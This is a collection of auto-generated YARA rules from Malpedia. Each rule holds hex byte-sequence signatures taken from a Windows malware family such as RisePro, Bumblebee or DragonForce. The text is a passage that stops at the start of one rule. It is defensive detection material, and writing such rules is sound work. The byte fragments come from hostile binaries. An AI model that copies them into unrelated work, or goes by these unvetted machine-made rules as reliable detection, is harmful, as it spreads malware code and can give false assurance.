rule MALPEDIA_Win_Fancyfilter_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "975f685e-f179-537e-9fa3-85eadc815e28"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fancyfilter"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fancyfilter_auto.yar#L1-L111"
		license_url = "N/A"
		logic_hash = "d344d0526413aed72b15674c72f5f795f13d63b4791189f46999d274791cb577"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 891d???????? 891d???????? b001 5b }
		$sequence_1 = { ff15???????? 83c420 83f803 7409 }
		$sequence_2 = { 66833800 7404 b001 eb02 }
		$sequence_3 = { 740f 8d4f20 51 50 ff15???????? }
		$sequence_4 = { 83f80a 7305 83c030 eb03 83c057 8801 }
		$sequence_5 = { 51 50 ff15???????? 8b36 }
		$sequence_6 = { a1???????? 83c012 50 ff15???????? }
		$sequence_7 = { 8d4f20 51 50 ff15???????? 8b36 }
		$sequence_8 = { b805400080 c20400 56 8b742408 8b4618 85c0 }
		$sequence_9 = { 83c030 eb03 83c057 8801 49 }
	condition:
		7 of them and filesize < 169984
}

rule MALPEDIA_Win_Spectre_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ab060ee1-08ad-588e-8d49-1ae94553e1b3"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spectre"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.spectre_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "84c50bd871d13f0a4f1a8853e9cdfc23094379080d0055ac204b2f23d3a74297"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bce 50 ff750c ff7508 e8???????? 8d4de4 e8???????? }
		$sequence_1 = { 6bc938 53 56 8b048538324700 8b7508 57 8bfe }
		$sequence_2 = { 8d4d20 e8???????? 8b4dfc 33cd 5e e8???????? c9 }
		$sequence_3 = { 50 e8???????? 8b8424b4000000 83c434 8b4c247c 2bc1 83e830 }
		$sequence_4 = { c605????????01 e8???????? eb0c 881d???????? 881d???????? 8b442448 bb00100000 }
		$sequence_5 = { 8bcf 89442420 e8???????? 89442410 8bc3 2b442414 6a18 }
		$sequence_6 = { 6a01 be???????? 8d8de4feffff 56 e8???????? 8d454c 50 }
		$sequence_7 = { 8b4e0c b8ffffff7f 2bc1 3bc3 7279 83651000 8d4510 }
		$sequence_8 = { 8d8c24fc010000 e8???????? 8d8424f8010000 50 8d842454010000 68???????? 50 }
		$sequence_9 = { e8???????? 8b44242c 83c40c 0430 89442420 8b44245c 8b542420 }
	condition:
		7 of them and filesize < 990208
}

rule MALPEDIA_Win_Cmstar_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a9e2a661-537d-568b-85df-f27a686a58fb"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cmstar"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cmstar_auto.yar#L1-L177"
		license_url = "N/A"
		logic_hash = "cb1d0cd52e24cba8a51ced68bf521fb28bf6b675c076737849c87cad9d60f02d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 53 56 bb04010000 57 53 }
		$sequence_1 = { 8b45e8 ff75e0 ff30 e8???????? 8b4df8 }
		$sequence_2 = { 8b4dec c1e802 6a04 52 8d0481 50 e8???????? }
		$sequence_3 = { ff15???????? 8bc6 e9???????? 6a10 }
		$sequence_4 = { ff15???????? 6a04 e8???????? be00040000 }
		$sequence_5 = { 8b45d8 836dfc10 ff75fc 8945e0 8b45dc 83c310 8945e4 }
		$sequence_6 = { ff15???????? 6a03 58 5f 5e 5b c9 }
		$sequence_7 = { 85c0 7504 6a03 eb0d 803b4d }
		$sequence_8 = { 888204420010 83c9ff 33c0 42 f2ae f7d1 49 }
		$sequence_9 = { 8bf0 85f6 74b2 817c240cc8000000 741c a1???????? 33f6 }
		$sequence_10 = { 81ec08060000 53 55 56 57 33db b9ff000000 }
		$sequence_11 = { a1???????? 8b10 52 53 }
		$sequence_12 = { 49 8d7c2418 8bc1 83c9ff 89442410 }
		$sequence_13 = { a1???????? 85c0 7505 a1???????? 6a00 6a00 6a03 }
		$sequence_14 = { be01000000 8b4c2420 51 ff15???????? 3beb 7409 55 }
		$sequence_15 = { 64890d00000000 81c4c0120000 c3 8b8c24d0120000 33db 3bcb 741c }
	condition:
		7 of them and filesize < 4268032
}

rule MALPEDIA_Win_Risepro_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a15990c8-9753-5e87-a4b5-d8648a3a2e45"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.risepro"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.risepro_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "27ab7b74bb4368f92b33ca48075a5bb9daa807fbe12d867a6bb9fe94c38b462c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { eb04 32c0 eb02 b001 8be5 5d }
		$sequence_1 = { e8???????? 50 8d4de4 e8???????? ebdc 8d4de4 }
		$sequence_2 = { 8b5508 8d0c4a 8d5514 e8???????? }
		$sequence_3 = { 8995f0feffff b808000000 6bc800 8b95ccfeffff 8b840a8c000000 }
		$sequence_4 = { 8b4de8 0fb79180000000 52 8b4508 50 8b4de8 e8???????? }
		$sequence_5 = { c745fc00000000 c745d888bd4100 8b4de8 51 8b55d8 52 8d4def }
		$sequence_6 = { 8b55c8 8955b0 8d45d8 50 }
		$sequence_7 = { 8bc8 e8???????? 8945f8 e8???????? 8945f4 }
		$sequence_8 = { 64a300000000 894dc4 8b4dc4 83c11c e8???????? }
		$sequence_9 = { 2b45f0 3b45f4 7305 e8???????? 8a45fe }
	condition:
		7 of them and filesize < 280576
}

rule MALPEDIA_Win_Vyveva_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c28bdd95-7642-5880-a40e-4b358402045a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vyveva"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vyveva_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "96e07d213688d1c1087554cfee92b5503a65dfc0259352cd96965149acc4d781"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7404 ff7604 59 3b7108 7506 50 8f4108 }
		$sequence_1 = { 8b442428 3b4c2438 740c 3b4c2438 7406 33c9 034c2438 }
		$sequence_2 = { 83ec04 33ed 8d6c2c74 83ed74 c74424fcffffffff 83ec04 68???????? }
		$sequence_3 = { e8???????? 8b4c242c 8b442428 8d54243c 894c2440 6a08 52 }
		$sequence_4 = { 037e3c 8d4c0f38 83e938 50 5f 51 52 }
		$sequence_5 = { 51 5d 59 55 59 6a01 }
		$sequence_6 = { 8b8c2434020000 8d54240c 894c240c 6a04 52 56 59 }
		$sequence_7 = { 8365f000 8365f400 8365f800 8365fc00 c745f0900c0110 }
		$sequence_8 = { 33c0 0306 395814 0f854b010000 8b4c2410 55 8f4614 }
		$sequence_9 = { 741c 56 8b742414 ff36 59 41 51 }
	condition:
		7 of them and filesize < 360448
}

rule MALPEDIA_Win_Tonerjam_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f786075c-cfe5-5b49-a6e1-4889818e7624"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tonerjam"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tonerjam_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "d8a6c742127525a08706ace06fd5028ecb9ea4f1402f1305542963485e91aa8b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488d4c2458 448d4218 ff15???????? 488d442458 c744247068000000 4889442448 }
		$sequence_1 = { 41b804010000 ff15???????? 33d2 488d8d50010000 41b804010000 }
		$sequence_2 = { 4883ec28 e8???????? 488bc8 488d15314e0100 4883c428 e9???????? 48895c2418 }
		$sequence_3 = { 488d4508 458bce 4533c0 4889442420 488d1515c10100 48c7c102000080 ff15???????? }
		$sequence_4 = { ff15???????? 85c0 757c 48c7c0ffffffff }
		$sequence_5 = { 4903c0 660f1f840000000000 8030e5 488d4001 }
		$sequence_6 = { 33d2 e8???????? 4885db 7414 488d0536d70100 483bd8 }
		$sequence_7 = { 33c9 ff15???????? cc b801000000 488b8c2430010000 4833cc e8???????? }
		$sequence_8 = { c3 397c2440 488b5c2448 400f95c7 8bc7 }
		$sequence_9 = { 488d0dbac10100 e8???????? 48c7c3ffffffff 488d8d70020000 488bc3 0f1f4000 48ffc0 }
	condition:
		7 of them and filesize < 315392
}

rule MALPEDIA_Win_Emdivi_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ef5b2254-03f0-58f4-b962-bbb2c39fe141"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.emdivi"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.emdivi_auto.yar#L1-L115"
		license_url = "N/A"
		logic_hash = "a232eb74848fdd496e4591cb6ccd862ae9760c83f1359caadd1d0bedc4ecfd7c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c1e304 83e203 3355f8 33fb }
		$sequence_1 = { e8???????? ff75ec 8ad8 c0fb02 }
		$sequence_2 = { e8???????? c3 beff010000 56 }
		$sequence_3 = { e8???????? 0ad8 59 881f }
		$sequence_4 = { e8???????? 99 2bf7 f7fe 8bc2 }
		$sequence_5 = { 0f8785000000 8a45ff c0fb04 c0e002 0ad8 881f }
		$sequence_6 = { f7fb 5b 6a07 03f8 8bc1 }
		$sequence_7 = { e8???????? 8bd8 8bc6 59 c6432000 8d7801 }
		$sequence_8 = { 83ec10 8bfc 8db5f4f2ffff a5 a5 a5 }
		$sequence_9 = { 385d08 7513 53 53 6a01 53 53 }
	condition:
		7 of them and filesize < 581632
}

rule MALPEDIA_Win_Shatteredglass_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1439db5c-49a0-5968-b59a-03910a603b61"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shatteredglass"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shatteredglass_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "f010e143a6683faf7af5372236553bb5fc1b43eebb2159b594f8f51e8251f8d5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 03f0 83fe10 7ce1 83fe10 752f }
		$sequence_1 = { 7ce1 83fe10 752f eb29 }
		$sequence_2 = { 0f8ecf000000 8b531c 8bca 8d7102 }
		$sequence_3 = { 6a00 b810000000 2bc6 50 8d8640d74100 50 57 }
		$sequence_4 = { eb02 32d2 8bc6 c0e104 d1e8 02ca 83c602 }
		$sequence_5 = { 8d4900 0fb70c77 8d41d0 6683f809 7705 }
		$sequence_6 = { 7705 80e937 eb10 8d419f 6683f819 7705 }
		$sequence_7 = { 53 ff15???????? 80bd33ffffff00 0f8452ffffff 57 e8???????? }
		$sequence_8 = { 2bce d1f9 83f918 740a 68???????? e9???????? }
		$sequence_9 = { 72f1 33c0 5d c3 8b04c58c434100 5d c3 }
	condition:
		7 of them and filesize < 273408
}

rule MALPEDIA_Win_Bumblebee_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "51e7861d-d3b9-5cdb-81c5-a532ba2bf356"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bumblebee"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bumblebee_auto.yar#L1-L115"
		license_url = "N/A"
		logic_hash = "55275cb4405b1783096501f885fe54bb72513b66b06e891fc6760c0a6547ff81"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488bd5 4889442428 498bce 488364242000 }
		$sequence_1 = { 85c0 783c 488b9508030000 4885d2 }
		$sequence_2 = { 4885c0 0f84b5000000 488d4c2430 41b900100000 48894c2420 4c8bc3 498bce }
		$sequence_3 = { 33d2 488b4dc8 e8???????? 488b4dc8 }
		$sequence_4 = { 90 ba38000000 488bcb e8???????? 90 }
		$sequence_5 = { 4885f6 0f84ff000000 488b05???????? 4885c0 0f84ef000000 488d4c2430 41b900100000 }
		$sequence_6 = { 488364242000 ffd7 8bc8 ffd3 }
		$sequence_7 = { 488bd8 ff15???????? 488bcf 488945e5 }
		$sequence_8 = { 488364242000 ffd7 8bc8 ffd3 4c8d5c2460 498b5b20 498b6b28 }
		$sequence_9 = { ff15???????? 488d4c2438 33d2 48894c2420 448d4f30 }
	condition:
		7 of them and filesize < 4825088
}

rule MALPEDIA_Win_Karius_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f864f52d-97b4-52e1-be47-a43becf89939"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.karius"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.karius_auto.yar#L1-L233"
		license_url = "N/A"
		logic_hash = "65d32f5659cb602716004ef37e85991451736e33f4d393130adf2e3c033195f4"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 41b830000000 488bcf ff15???????? 4885c0 }
		$sequence_1 = { 85db 0f8477000000 8bb424b0000000 418b10 }
		$sequence_2 = { 8bb424b0000000 418b10 8bcd 4903d6 0fb602 }
		$sequence_3 = { 4d03d6 448bcd 85db 0f8477000000 }
		$sequence_4 = { 488b05???????? 4885c0 7512 ff15???????? 488905???????? 4885c0 }
		$sequence_5 = { 0f849d000000 41837b1400 0f8492000000 458b4320 458b5324 33ed }
		$sequence_6 = { bf01000000 8bd7 498bce ffd3 4183bf8c00000000 }
		$sequence_7 = { c3 85c0 7505 e8???????? b801000000 }
		$sequence_8 = { 0f84b3000000 458b9f88000000 4d03de 418b5b18 85db 0f849d000000 }
		$sequence_9 = { 41 ff45fc 42 ff45f8 }
		$sequence_10 = { 8bc7 ffc8 7416 ffc8 }
		$sequence_11 = { 81c200000100 8955f8 b804000000 8945fc 81fa80000000 7307 }
		$sequence_12 = { 4d8bc7 488bd0 488bce ff15???????? }
		$sequence_13 = { 7405 f60001 7502 33c0 }
		$sequence_14 = { 48895c2420 4d8bcc 4d8bc7 488bd0 }
		$sequence_15 = { 33d2 488bce ff15???????? 4c8bf0 4885c0 }
		$sequence_16 = { 47 41 3bfb 0f825ffeffff }
		$sequence_17 = { 7505 8d7b02 eb09 6685c0 }
		$sequence_18 = { 8a17 80fa41 7c0d 80fa5a }
		$sequence_19 = { ff15???????? 4c8be8 498bce ff15???????? 4d85ed }
		$sequence_20 = { ebb0 8b5d10 8b750c 8b4d08 47 8b55f4 41 }
		$sequence_21 = { 7e26 3c5b 750a 5e 894d0c }
		$sequence_22 = { 488d4b10 488d542450 41b804000000 c6430f68 }
		$sequence_23 = { 41 7411 43 3c5c }
		$sequence_24 = { 4d8bcf 33d2 41b800001000 488bce }
		$sequence_25 = { 7c04 3c39 7ee3 803f2e }
	condition:
		7 of them and filesize < 434176
}

rule MALPEDIA_Win_Spyder_Patchwork_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ff9f13ab-f307-5c96-9d42-3d8adb391da2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spyder_patchwork"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.spyder_patchwork_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "a4925947525684eeb2c63af57878906d58b4bbbd5876d1885456e41c85c55b5b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 3930 0f8551010000 8b4004 83f82a 7429 83f839 7424 }
		$sequence_1 = { ff74246c 50 e8???????? 83c410 5f 5e 5b }
		$sequence_2 = { 8904a9 8b4c2444 8b44241c c1e002 0101 8b4c2458 8b442430 }
		$sequence_3 = { e9???????? 6800030000 8d44242c 50 6a07 6801990000 e8???????? }
		$sequence_4 = { 743c ba80000000 be00080000 0f1f8000000000 0fb60419 0fb70445403b4400 }
		$sequence_5 = { e8???????? ff7620 e8???????? 56 e8???????? 83c420 5f }
		$sequence_6 = { 741f 8b542410 3bca 7617 8b4608 2bca 51 }
		$sequence_7 = { 8b4c242c 8d04b0 8b28 4e ba02000000 894c2414 89442420 }
		$sequence_8 = { 6689460c 8b0f 8bc1 83e002 83c800 741d 668b4648 }
		$sequence_9 = { ff15???????? 6a06 6a00 ff15???????? 6a00 6a00 6a00 }
	condition:
		7 of them and filesize < 2260992
}

rule MALPEDIA_Win_Decaf_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c019d263-a899-5660-aa15-798e52adcd92"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.decaf"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.decaf_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "8c05c17767eead1f69d9ac7eb9dd704aba24d34223075b108957952ecaf7a6e5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488d6c2460 48c744247000000000 31c0 31c9 31d2 bb02000000 be67000000 }
		$sequence_1 = { eb11 488d7818 488b8c2438240000 e8???????? 488b8c2470060000 48894808 833d????????00 }
		$sequence_2 = { 44886c2446 440fb66c2464 44886c2445 440fb66c245d 44886c2444 440fb66c2466 44886c2443 }
		$sequence_3 = { e9???????? 4983f806 754d 4c8d4301 4c39c6 7331 488d051d4d0f00 }
		$sequence_4 = { eb14 488d7818 488b8c24081b0000 0f1f00 e8???????? 488b8c24080b0000 48894808 }
		$sequence_5 = { e8???????? 488b0d???????? 48898c24e0000000 488d052c9c1300 e8???????? 833d????????00 750e }
		$sequence_6 = { 488b6c2410 4883c418 c3 488d05f5bb1b00 48890424 e8???????? 450f57ff }
		$sequence_7 = { e8???????? b911000000 4889c7 4889de 31c0 488d1d94e71700 e8???????? }
		$sequence_8 = { e8???????? 488b442478 488b4c2470 488b942488000000 ebbd 90 488d05bfff1d00 }
		$sequence_9 = { eb14 488d7818 488b8c2470220000 0f1f00 e8???????? 488b8c24a8030000 48894808 }
	condition:
		7 of them and filesize < 7193600
}

rule MALPEDIA_Win_Imprudentcook_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e985dc9d-907c-5ecd-b391-7678328944ea"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.imprudentcook"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.imprudentcook_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "df9f920c4e9fbf5202cbb078d209a88f010a87e5e4d8cea3492e3733d1c90a2b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 49f7d0 48c1ef20 498bc0 48897c2420 48f7f7 488bc8 }
		$sequence_1 = { 4981fd541f0000 7c24 488d0c5b 4881f9aa0f0000 7c17 488bcf 48895c2420 }
		$sequence_2 = { 4c8d45f8 488d550f 488d4de7 4889442420 e8???????? 488d4d1f ff15???????? }
		$sequence_3 = { 7303 4d03d7 488bca 48c1ea20 418bc3 48c1e120 4803c8 }
		$sequence_4 = { 4c8bc7 498bd7 488bce 4889442420 e8???????? eb10 488bf5 }
		$sequence_5 = { 488d55e7 483bc1 498bca 7d12 488b45df 4c894c2428 4d8bc8 }
		$sequence_6 = { 458bda 488bd0 4885c0 783d 482bc7 498d0cc4 498bc5 }
		$sequence_7 = { 493b45f0 752b 4883c8ff 498bd5 498bce 492bd7 492bcf }
		$sequence_8 = { 4d892cc4 4f8d2cfc 4c8bcf 4d8bc5 498bd4 e8???????? 488bdf }
		$sequence_9 = { 488b8424a0000000 4d8bc4 4889442420 e8???????? 4883c450 415f 415e }
	condition:
		7 of them and filesize < 864256
}

rule MALPEDIA_Win_Dragonforce_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "04e040d9-91b9-5636-bb88-ea712bdc46a2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dragonforce"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dragonforce_auto.yar#L1-L90"
		license_url = "N/A"
		logic_hash = "1983039dbcbe97b58972e2e24c645af80b3369f0d68152ff0fbf029f83aa4fd4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83ff01 7564 c745fc???????? bb???????? }
		$sequence_1 = { 83c608 897dec 8b0481 8bc8 }
		$sequence_2 = { 88943d09fdffff 47 83ff42 72d6 }
		$sequence_3 = { 6690 85db 0f844ef4ffff 0fb607 }
		$sequence_4 = { 8a85a9fcffff e8???????? 8985e0f5ffff 8d8d9cfcffff }
		$sequence_5 = { 6a00 6a00 6a01 8d85dcfdffff }
		$sequence_6 = { c6459002 c6459173 c6459202 c6459365 }
		$sequence_7 = { c644243145 c64424323c c644243369 c64424343c }
	condition:
		7 of them and filesize < 879616
}

rule MALPEDIA_Win_Recordbreaker_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "84c578f1-7563-5244-9c52-c15658d206fd"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.recordbreaker"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.recordbreaker_auto.yar#L1-L117"
		license_url = "N/A"
		logic_hash = "47ce2cf43e0dd275e8c2b25425755b57837a7a72d47324aa716f84b51ead687c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 8b15???????? 8bc8 e8???????? 8b55f0 }
		$sequence_1 = { 8a040e 46 8802 42 3bf3 72f5 }
		$sequence_2 = { 51 8d4de4 51 ff750c a5 }
		$sequence_3 = { ff15???????? 33c0 40 eb08 ff15???????? 33c0 5f }
		$sequence_4 = { 8365f800 a1???????? c745f464000000 53 56 }
		$sequence_5 = { 33c0 50 6800000008 6a02 50 50 }
		$sequence_6 = { ba04010000 8d0c41 51 8d85d0fdffff 50 }
		$sequence_7 = { ff15???????? 8b7508 83c410 8bd3 }
		$sequence_8 = { 8b15???????? 8bc8 e8???????? 8b55f8 }
		$sequence_9 = { 81ec68040000 837d1002 53 56 8bf2 57 }
	condition:
		7 of them and filesize < 232312
}

rule MALPEDIA_Win_Fickle_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
